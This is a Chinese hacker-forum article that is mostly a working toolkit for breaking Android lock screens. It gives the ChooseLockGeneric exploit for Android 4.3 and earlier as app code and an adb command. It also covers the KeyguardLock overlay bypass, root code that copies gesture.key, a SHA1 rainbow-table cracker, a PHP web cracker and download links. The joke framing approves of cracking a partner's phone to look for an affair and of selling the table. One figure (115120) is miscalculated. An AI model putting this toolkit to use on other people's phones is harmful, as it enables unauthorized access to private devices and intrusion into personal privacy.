- A+
说明: 本文章由中国红客联盟(cnhonker)攻防区版主:b41k3r 和 论坛会员:冷爱 两人合作所写,经两人同意由我发送到FreeBuf,感谢FreeBuf给我们提供一个良好的交流环境。此文章为b41k3r 刘尼玛系列文章的《Android锁屏破解研究》 关于其他篇目,以后再共享。最后吐槽下,b41k3r每一篇刘尼玛系列都有人躺枪,这篇我和kend都不幸中招。
b41k3r部分:
[照例先发牢骚]
由于发帖神的影响,我手中的很多东西都不敢发出来,这次我给发帖神烧了三天高香,希望他可以饶恕我,让我发了这个帖子不要出事,万一发完仍然倒霉了,那我也认了.各位,俺这是用绳命在发帖啊!
我在研究完这个东西之后,把其中的彩虹表发给冷爱,他据此做了一个gesture.key的php在线破解,他的程序会在此贴的后面发布,所以这次其实是联合发帖.
[刘尼玛的好基友]
我是Q博士,这次的事情是刘尼玛用私人身份请求我帮忙,和情报工作无关,刘尼玛从小穿一条裤子长大的好基友kend,前几天重设自己的安卓手机密码时,居然把新设的锁屏图案忘记了,为此他的姘头刘尼玛来找我,希望我帮他破解…
0×01 最新安卓解锁漏洞
在破解之前,我们先来认识一个比较新的安卓漏洞.这个漏洞于2013年12月公布,影响4.3及以下所有系统,漏洞产生于com.android.settings.ChooseLockGeneric这个Activity中,一个名为mPasswordConfirmed的boolean被暴露,导致可以从外部触发解锁进程而无需确认解锁密码,具体看下面的分析:
com.android.settings.ChooseLockGeneric是负责更改系统的解锁方式的类,在用户要更改原先的锁定图案或密码时,需要进行重输确认, 确认后mPasswordConfirmed的值为true,但这个参数被暴露,以至于可以从外部更改,使得系统误认为已经确认了密码,从而清除锁屏.我们看看源码:
………….. private static final String CONFIRM_CREDENTIALS = "confirm_credentials"; …………. private boolean mPasswordConfirmed = false; ………….. @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); …………… final boolean confirmCredentials = getActivity().getIntent() .getBooleanExtra(CONFIRM_CREDENTIALS, true); mPasswordConfirmed = !confirmCredentials;
我们只要将CONFIRM_CREDENTIALS设置为false,即可使得mPasswordConfirmed为true,然后会发生什么呢?接着往下看:
……………… if (mPasswordConfirmed) { updatePreferencesOrFinish(); } ……………… private void updatePreferencesOrFinish() { Intent intent = getActivity().getIntent(); int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1); if (quality == -1) { quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1); MutableBoolean allowBiometric = new MutableBoolean(false); quality = upgradeQuality(quality, allowBiometric); final PreferenceScreen prefScreen = getPreferenceScreen(); if (prefScreen != null) { prefScreen.removeAll(); } addPreferencesFromResource(R.xml.security_settings_picker); disableUnusablePreferences(quality, allowBiometric); } else { updateUnlockMethodAndFinish(quality, false); } } …………………… void updateUnlockMethodAndFinish(int quality, boolean disabled) { if (!mPasswordConfirmed) { throw new IllegalStateException("Tried to update password without confirming it"); } final boolean isFallback = getActivity().getIntent().getBooleanExtra(LockPatternUtils.LOCK SCREEN_BIOMETRIC_WEAK_FALLBACK, false); quality = upgradeQuality(quality, null); if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) { int minLength = mDPM.getPasswordMinimumLength(null); if (minLength < MIN_PASSWORD_LENGTH) { minLength = MIN_PASSWORD_LENGTH; } final int maxLength = mDPM.getPasswordMaximumLength(quality); Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class); intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality); intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength); intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength); intent.putExtra(CONFIRM_CREDENTIALS, false); intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, isFallback); if (isFallback) { startActivityForResult(intent, FALLBACK_REQUEST); return; } else { mFinishPending = true; intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT); startActivity(intent); } } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) { Intent intent = new Intent(getActivity(), ChooseLockPattern.class); intent.putExtra("key_lock_method", "pattern"); intent.putExtra(CONFIRM_CREDENTIALS, false); intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, isFallback); if (isFallback) { startActivityForResult(intent, FALLBACK_REQUEST); return; } else { mFinishPending = true; intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT); startActivity(intent); } } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) { Intent intent = getBiometricSensorIntent(); mFinishPending = true; startActivity(intent); } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) { mChooseLockSettingsHelper.utils().clearLock(false); mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled); getActivity().setResult(Activity.RESULT_OK); finish(); } else { finish(); } }
先是调用updatePreferencesOrFinish,然后是updateUnlockMethodAndFinish,在这个函数中判断系统的锁屏密码策略,android系统一共定义有以下几种密码策略:
PASSWORD_QUALITY_ALPHABETIC 用户输入的密码必须要有字母(或者其他字符) PASSWORD_QUALITY_ALPHANUMERIC 用户输入的密码必须要有字母和数字 PASSWORD_QUALITY_NUMERIC 用户输入的密码必须要有数字 PASSWORD_QUALITY_SOMETHING 由设计人员决定的 PASSWORD_QUALITY_UNSPECIFIED 对密码没有要求
前几种都是给设计锁屏软件的程序员用的,系统默认的策略,包括解锁图案(因为解锁图案无法设定其他策略),都是最后一种,即”对密码没有要求”,而从上面代码可以看出,如果检测到是这种方式,则无需任何验证,直接清除密码.
所以,触发这个漏洞的方式很简单,只要从外部启动ChooseLockGeneric,设置mPasswordConfirmed为true,并设置锁屏密码策略为PASSWORD_QUALITY_UNSPECIFIED,系统会自己清除密码.
于是接下来有两条路可走:
一是编写一个简单的安卓程序.在Oncreate中输入以下代码,编译后首先确认手机已打开调试模式,然后在电脑上安装好驱动, 用adb传送到手机运行:
Intent intent = new Intent(); intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockGeneric")); //启动ChooseLockGeneric" intent.putExtra("confirm_credentials", false); //confirm_credentials为false,mPasswordConfirmed为true intent.putExtra("lockscreen.password_type",0); //lockscreen.password_type为0代表PASSWORD_QUALITY_UNSPECIFIED intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent);
手机锁屏被立刻清除,在有些手机上会弹出错误提示,但其实已经成功了:
二是直接使用adb,输入以下命令:
adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task
然后重启手机即可.
在最新的安卓4.4中,这个漏洞被修复, mPasswordConfirmed被设置为只有特定的Activity才可以更改其值:
…………………. public static class InternalActivity extends ChooseLockGeneric { } …………………. final boolean confirmCredentials = getActivity().getIntent() .getBooleanExtra(CONFIRM_CREDENTIALS, true); if (getActivity() instanceof ChooseLockGeneric.InternalActivity) { mPasswordConfirmed = !confirmCredentials; } 用InternalActivity继承了ChooseLockGeneric,只有它才可以更改mPasswordCOnfi rmed.
0×02 一个不算漏洞的漏洞
上面的第一种方法有个致命的问题,那就是在已锁定的状态下,启动的程序是无法运行的,如果要让我们编写的触发程序正常运行,需要使用到一个由来已久的奇怪漏洞.这个漏洞首先由wooyun披露(http://www.wooyun.org/bugs/wooyun-2010-09978),说它是漏洞,因为它可以完全屏蔽安卓系统的屏幕锁定,用我们自己的程序覆盖在其上层,说它不是漏洞,因为它是谷歌官方提供的API,很莫名其妙的API…
在android.app.KeyguardManger中,谷歌提供了一个子类KeyguardLock,我们在自己编写的程序中调用其disableKeyguard方法,就可以使程序完全显示在锁定界面的上层:
import android.app.KeyguardManager; import android.app.KeyguardManager.KeyguardLock; ……………………… KeyguardManager manager = (KeyguardManager) getSystemService(KEYGUARD_SER VICE); if(manager.inKeyguardRestrictedInputMode()){ KeyguardLock keyguard = manager.newKeyguardLock(getLocalClassName()); keyguard.disableKeyguard(); }
经过测试.无论何种锁定方法均有效,运行后按Home键完全没有反应,按返回键直接回到桌面,但过一段时间,手机锁屏还是会自己出现,不过这段时间足够我们做一些事情了,比如利用前面的解锁漏洞.
0×03 gesture.key文件的秘密
说了一大堆都是关于解锁的,但都是讲的过程,利用代码来触发漏洞,那么问题就来了,无论用什么方法,我们最终还是要操作这个锁屏图案的,可是它到底保存在哪里?以什么方式储存的?
实际上我探究这个问题是从一篇报道开始的,这篇东西已经在网上被转载的到处都是了,随便百度一下就有一大堆:
我很奇怪的是,破解各种设备和账号如探囊取物一般的FBI,高手如云的FBI,居然搞不定一台小小的手机,抱着极度怀疑的心态我进行了研究,结果发现这条所谓的新闻完全是彻头彻尾的扯淡!
当然通过前面的部分你们已经看到了,几乎是秒破,但这只是删除了解锁图案,如果我要获取解锁图案该怎么办?
首先要知道这个图案储存的位置,它存在于/data/system目录中的gesture.key文件中,只有root后才可以读取,用16进制编辑器打开后,发现它是一个20字节的文件:
很眼熟,让我想到了SHA1,经过验证,确实是这样.安卓的解锁图案一共有九个点,按顺序设定值为0×00-0×08(注意这里是十六进制),如下图所示:
这九个值依据设定好的解锁图案的顺序,依次排列,排列结果以hex的形式进
行SHA1加密,然后以byte形式存储于gesture.key中.比如上面十六进制编辑器打开的文件,密文是
6a062b9b3452e366407181a1bf92ea73e9ed4c48,原文实际上是00010204060708,注意这是十六进制,不
是十进制,这样排列下来,是一个
Z字形图案.
那么一个想法就产生了,我们可以把所有可能的图案全部转换成值,然后以SHA1加密,就可以制作一个彩虹表:
import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class sha1Class { private static final char[] HEX_DIGITS = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; public sha1Class() { } /** * 十六进制字符串SHA1 * @param hexData * @return */ public String sha1code(String hexData){ byte[] data = hexStringToByteArray(hexData); MessageDigest md = null; try { md = MessageDigest.getInstance("SHA-1"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } md.update(data, 0, data.length); byte[] sha1hash = md.digest(); return getFormattedText(sha1hash); } /** * 把十六进制字符串转换成byte * @param s * @return */ private static byte[] hexStringToByteArray(String s) { int len = s.length(); byte[] data = new byte[len / 2]; for (int i = 0; i < len; i += 2) { data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16)); } return data; } /** * 把byte转换成string * @param bytes * @return */ private static String getFormattedText(byte[] bytes) { int len = bytes.length; StringBuilder buf = new StringBuilder(len * 2); for (int j = 0; j < len; j++) { buf.append(HEX_DIGITS[(bytes[j] >> 4) & 0x0f]); buf.append(HEX_DIGITS[bytes[j] & 0x0f]); } return buf.toString(); } }
上面的类实例化之后,只需调用函数sha1code即可获得密文.具体过程是先把原文的十六进制字符串转换成byte,然后SHA1,再将结果转换成string.
安卓解锁图案的规则是至少4个点,至多9个点,那么如此计算:
4个点的密码 9*8*7*6=3024
5个点的密码 9*8*7*6*5=115120
6个点的密码 9*8*7*6*5*4=60480
7个点的密码 9*8*7*6*5*4*3=181440
8个点的密码 9*8*7*6*5*4*3*2=362880
9个点的密码 9*8*7*6*5*4*3*2*1=362880
上述之总和为985824个密码,我们用上面给出的类,将这些密码全部
SHA1,然后把原文和密文都存储在数据库中,一个彩虹表就完成了,最终,我用sqlite制作的彩虹表大小为77mb.接下来只需编写程序,先把彩虹表
用adb拷贝到SD卡中,然后获取root权限,读取gesture.key文件,然后与数据库中的密文进行hash碰撞,就可以得到密码,并且还原为解
锁图形.
/** * 以root权限执行命令函数 * @param cmd * @return */ private boolean runCmd(String cmd){ Process process = null; DataOutputStream os = null; try{ process = Runtime.getRuntime().exec("su"); //请求root权限 os = new DataOutputStream(process.getOutputStream()); os.writeBytes(cmd+ "\n"); os.writeBytes("exit\n"); os.flush(); process.waitFor(); } catch (Exception e) { return false; } finally { try { if (os != null) { os.close(); } process.destroy(); } catch (Exception e) { } } return true; } ………………… String sd=Environment.getExternalStorageDirectory().getPath(); String code = ""; BufferedInputStream in; runCmd("cat /data/system/gesture.key > /sdcard/gesture.key"); //首先获取root,然后拷贝文件到SD卡中 try { in = new BufferedInputStream(new FileInputStream(sd+"/gesture.key")); byte[] a = new byte[1024]; //byte方式读取并转换为string int count = -1; StringBuilder s1 = new StringBuilder(); while ((count = in.read(a)) != -1) { for (int i = 0; i < count; i++) { convertByte2Hex(a[i], s1); } in.close(); if (fileIsExists(sd+"/sha1.db")) //检测彩虹表是否存在 { SQLiteDatabase db = openOrCreateDatabase(sd+"/sha1.db", Context.MODE_PRIVATE, null); //连接彩虹表数据库 Cursor c = db.rawQuery("SELECT * FROM sha1dic where sha1= ?", new String[]{s1.toString()}); while (c.moveToNext()) { code = c.getString(c.getColumnIndex("code")); //查表并获取原文 } c.close(); db.close(); }else { Toast toast = Toast.makeText(MainActivity.this,"没有找到彩虹表,请确认sha1.db是不是已经拷贝到了sd卡中!", Toast.LENGTH_SHORT); toast.show(); } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); }
0×04 综合出一个神器
上面介绍了三个和破解安卓锁屏有关的东西,我们现在要做的,就是综合它们各自的优点,制作出一个解锁神器来.
首先用adb把彩虹表传送到sd卡中,然后利用KeyguardLock屏蔽锁屏界面,显示我们的程序,程序中设计两个功能:还未root的手机使用解锁
漏洞解锁,已root的则直接读取gesture.key 并查表破解(当然已root也可以使用解锁漏洞).具体流程如下图所示:
程序的具体代码请看文后的下载地址,界面如下:
安装方法:
确认手机已经事先开了调试模式,然后在PC上建立如下批处理,安装好adb和手机驱动,并把彩虹表和解锁程序以及批处理都放在同一个目录中,运行批处理即可开启神器(sha1.db是彩虹表, puzzleUnlock.apk是解锁神器):
adb push sha1.db /sdcard/sha1.db adb install puzzleUnlock.apk adb shell am start -n com.baiker.puzzleunlock/com.baiker.puzzleunlock.MainActivity
由于绕过锁屏的方法并不完美,所以有些手机上可能没有反应,此时请重启手机,神器会自动运行,如果还不成功,请使用下面的ADB解锁法.
只利用PC解锁说明:
本来制作了一个PC版本,但其解锁原理仍然是通过ADB命令,所以觉得没有意义,就不公开了,如果用手机版无法成功,可以在PC上输入以下ADB命令:
adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task
如果成功,命令运行后重启手机,即可解锁.
0×05 测试
由于安卓平台的高度可定制性,各厂商的固件均不相同,所以神器并不能保证在所有品牌的设备上均有效,截止目前,共测试以下品牌:
Samsung: 4.0以上固件在pc上用ADB可以正常解锁,手机版无法绕过锁屏,4.0以下固件手机版可以绕过锁屏,但无法解锁. 小米: 手机版完全无法安装,PC上用ADB未测试. 魅族:完美破解 步步高:完美破解 波导:完美破解 Asus平板:完美破解
[kend已经走了]
刘尼玛拿到了我的解锁神器,不费吹灰之力的解开了手机,当他拿着手机兴冲冲地去找kend基友的时候,却发现人去屋空,询问邻居才知道,kend昨天晚上接到紧急通知,公司派他去国外出差,已经坐上了去马来西亚的飞机……
刘尼玛只好怅然而归. ”看来,只有等他回来再给他了.” 回到家的刘尼玛一边自言自语,一边把手机收到抽屉里,然后坐到电脑前,饶有兴致的去研究他最喜欢的爱情动作片了.
而Q博士,也就是本人,在研究完神器之后,把其中的彩虹表单独卖给一个猥琐的菊花经销商,狠狠的赚了一笔…..
本文所涉及到的程序以及源码,还有本文的doc版下载地址:
http://pan.baidu.com/s/1sj33bTr
冷爱部分:
[故事总有个开端]
Kend突然消失,只留下一部加锁的手机,他的原配小猪怀疑kend已经有了小三了,本想直接删除gesture.key文件,又怕事后被kend发现。
只好以30朵菊花代价,请菊花经销商破解。为了最大利润,菊花经销商只用15朵代价和q博士购买彩虹表,再用1朵菊花请村头行乞的看尼魅写个简易的使用程
序。
0×01 程序的设计的构建。
从q博士那里购买彩虹表,用的是sqlite数据库。使用php脚本读数据库。(在php里有多种方案可以实现读写sqlite数据库。这里采用了sqlite3的方法)。
在php.ini 里面开启extension=php_sqlite3.dll ,和绘图功能 extension=php_gd2.dll
可以用<?phpphpinfo() ;?>查看是否开启成功。
程序的设计流程,上传key文件,脚本读取key文件的内容,再把读取到key和数据库里面配对,如果有配对就绘图,否则提示客户key文件错误。
0×2 解读细节
File.php
<?php class file{ protected $file; public function __construct(&$file) { $this->file=$file; } public function file_upload(){ if($this->file['error']!=0) { return false; } if(!is_uploaded_file($this->file['tmp_name'])) { return false; } if(filesize($this->file['tmp_name'])!=20) { return false; } if($this->getkFileSuffix()!='key') { return false; } $path=dirname(__FILE__).'/../key/'; $name=$this->rename(); $path=$path.$name; $status=move_uploaded_file($this->file['tmp_name'],$path); if($status) { return $path; }else { return false; } } public function getkFileSuffix() { $pos=strrpos($this->file['name'],'.'); $suffix=substr($this->file['name'],$pos+1); return $suffix; } public function rename() { $name= time(); $type=$this->getkFileSuffix(); $name=$name.'.'.$type; return$name; } } ?>
file 类里面构造函数__construct()引用传递一个文件信息的参数。该参数由$_FILES['file']得到,$_FILES['file']包含了文件上传的信息,上传状态,大小,临时路径,名字。
getkFileSuffix()函数取得上传文件的后缀(即最后一个.以后的文本)。
rename()用于构建一下文件名,以文件上传时间戳来命名
file_upload()函数对在要上传文件,分别检查上传状态,是否是合法的http上传文件大小,正常的情况下key的大小为20字节。和检测是否为key后缀。以上检测都合法的话,就把文件从tmp文件夹里面移到key文件夹下。
Key.php
class key{ public function readEncryptionKey($path) { $fHandle=fopen($path,'rb'); $contents=fread($fHandle,1); $hex=''; while(!feof($fHandle)) { $a=ord($contents); $hex.=sprintf("%02x",$a); $contents=fread($fHandle,1); } fclose($fHandle); return $hex; } public function getDecryptionKey($path) { $key= $this->readEncryptionKey($path); $sql="select* from sha1dic where sha1='$key' "; $x=sqlite::getInstance(); $result=$x->ExcuteQuery($sql); $code=$result['code']; return$this->formatKey($code); } protected function formatKey($code) { $i=1; $pwd=''; while(isset($code[$i])) { $pwd=$pwd.$code[$i]; $i=$i+2; } return$pwd; } }
在这个类里面。readEncryptionKey函数,打开key文件,并且通过
fread函数,每次读取一个字节。通过ord函数,把读取到的字节转化为asc码,在通过sprintf把得到的asc码按16进制存储。通过hex变
量进行拼接。最后返回的就是key里面的字符
例如
file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml11\clip_image002.jpg
比如读取第一个字符,那么这个时候$content储存的是一个asc码为208的字符,用过ard就可以得到这个asc码(这个asc码是10进制的),接着通过sprintf,把数据格式化为16进制的,并且 保存在$key里面。
getDecryptionKey函数,读取key值,并且返回明文的密码。因为iq博士是木jj的,返回密码是是类似 01020506这里的。所以通过formatKey函数把多余的0去掉变成1256.
Sqlite.php
class sqlite{ protected static $sqlite = null; protected $db; private function __construct(){ $path=dirname(__FILE__).'/../database/sha1.db'; $this->db = new SQLite3($path); } public static function getInstance(){ if(self::$sqlite instanceofsqlite ) { return self::$sqlite; }else{ self::$sqlite = newsqlite(); return self::$sqlite; } } public function ExcuteQuery($sql) { $result= $this->db->query($sql); $res=$result->fetchArray(SQLITE3_ASSOC); return $res; } }
用于读取sqlite数据库。getInstance函数实现了只有一个连接对象对sqlite数据库的连接。
ExcuteQuery函数用于执行传递进来的sql语句,并且返回得到的结果。
Image.php
header('Content-Type:image/jpeg');//用于通知浏览器接受数据的类型,以便显示 class image{ //这个数组保存了图片里面9个点的位置。以便用于绘图。 protected $position=array( array('x'=>55,'y'=>160), array('x'=>215,'y'=>160), array('x'=>370,'y'=>160), array('x'=>55,'y'=>320), array('x'=>215,'y'=>320), array('x'=>370,'y'=>320), array('x'=>55,'y'=>480), array('x'=>215,'y'=>480), array('x'=>370,'y'=>480) ); protected $img; protected $penColor; /* 构造函数打开图片,返回文件实例。 创建一个画笔和字符串的颜色 */ public function __construct() { $this->img=imagecreatefromjpeg(dirname(__file__).'/../img/img.jpg'); $this->penColor=imagecolorallocate($this->img,255,0,0); $this->strColor=imagecolorallocate($this->img,0,0,0); } /** *绘画密码,输出密码 *@param string 数据库得到的密码。 */ public function beginPaint($code) { $i=0; while(isset($code[$i])) { $pos=intval($code[$i]); if($i>0) { $lastPos=intval($code[$i-1]); imageline($this->img,$this->position[$lastPos]['x'],$this->position[$lastPos]['y'],$this->position[$pos]['x'],$this->position[$pos]['y'],$this->penColor); } imagettftext($this->img,30,0,$this->position[$pos]['x'],$this->position[$pos]['y'],$this->strColor,dirname(__file__).'./simkai.ttf',$i+1); //为了输出字体大小。我选择了自定义的字体。 $i=$i+1; } imagejpeg($this->img); } }
Image.php 实现绘画图片。并且输出图片
Index.php
…… ?> <form action="./crack.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="submit" value="Submit" /> </form> …….
在index里面做一个表单,定义数据格式,数据接收路径和数据提交方法。
Crack.php
include_once './model/file.php'; $file= new file($_FILES['file']); $path=$file->file_upload(); if(!$path) { echo '上传文件失败,请确认是否为key文件!'; exit(); } include_once './model/key.php'; $status=file_exists($path); if(!$status) { echo '文件不存在,请确认好文件地址。'; exit(); } $key= new key(); $code=$key->getDecryptionKey($path); if(empty($code)) { echo '该密码无法破解!'; exit(); } include_once './model/image.php'; $img=new image(); $img->beginPaint($code);
Crack文件用于组装各个模型。 接收 index.php发送过来的数据。保存文件,读取文件,破解密码,最后画图。
0×3 实战
三星 i9300 2.3.5系统 已经root.\ 一条数据线(用山寨居然不能识别到设备)
————————————————————————————————–
1-查看设备是否连接
2-文件在/system/data 下
3-导出文件。
如果直接用 pull导出的话,是不行的,会出现权限不足。
用root权限,把key 拷贝到sdcard目录下。
说明复制成功,接着导出到d盘
至于为什么提示是0bytes 我也不明白。等下问q博士。
4-打开网站,www.test.com.上传文件
5-得到结果。
破解成功。
X04 故事总有一个结果。
小猪把手机交给菊花经销商。经销商发现手机又是root又开调试模式。如果不是root权限,只能发30朵菊花和q博士购买pc版本的了。
这比生意总是完成了。据说小猪当天晚上就包机去马来西亚。
代码下载地址:http://pan.baidu.com/s/1i3mizx7
doc文件下载地址:http://pan.baidu.com/s/1c0eReKS
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫